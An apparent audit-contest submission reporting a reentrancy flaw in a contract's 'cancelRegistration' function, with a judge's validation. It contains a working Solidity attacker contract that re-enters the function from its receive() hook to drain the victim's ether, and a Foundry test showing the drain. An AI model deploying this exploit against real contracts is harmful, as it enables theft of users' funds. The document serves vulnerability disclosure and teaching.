Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

TITLE Classic reentrancy attack vulnerability in 'ThePredicter::cancelRegistration' function which can drain all the money in contract.

Description: The 'ThePredicter::cancelRegistration' function isn't following CEI(Check Effect Interaction) and also don't have reentrancy preventing modifier. So can easily be exploited by reentrancy attack. Which can empty out the balance in contract. Also slither found it too.

Impact: All the money will be stolen.

Proof of Concept:
Classic reentrancy attack

The reentrancy attacker contract code is below.

contract CancelRegistrationReentrancyAttacker {
ThePredicter victim;
constructor(ThePredicter _victim) {
victim = _victim;
}
function register() public payable {
victim.register{value: 0.04 ether}();
}
function attack() public payable {
victim.cancelRegistration();
}
receive() external payable {
if (address(victim).balance >= 0.05 ether) {
victim.cancelRegistration();
console.log(address(victim).balance);
}
}
}

and test function is below

function testReentrancyAttackOnCancelRegistration() public {
CancelRegistrationReentrancyAttacker attacker = new CancelRegistrationReentrancyAttacker(thePredicter);
vm.deal(address(attacker), 1 ether);
vm.deal(address(thePredicter), 10 ether);
attacker.register();
attacker.attack();
assert(address(attacker).balance > 10.5 ether);
}

Recommended Mitigation: Following CEI principle as much as possible, and using modifiers that prevents reentrancy attack is must if CEI was not followed.

Updates

Lead Judging Commences

NightHawK Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in cancelRegistration

Reentrancy of ThePredicter::cancelRegistration allows a maliciour user to drain all funds.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.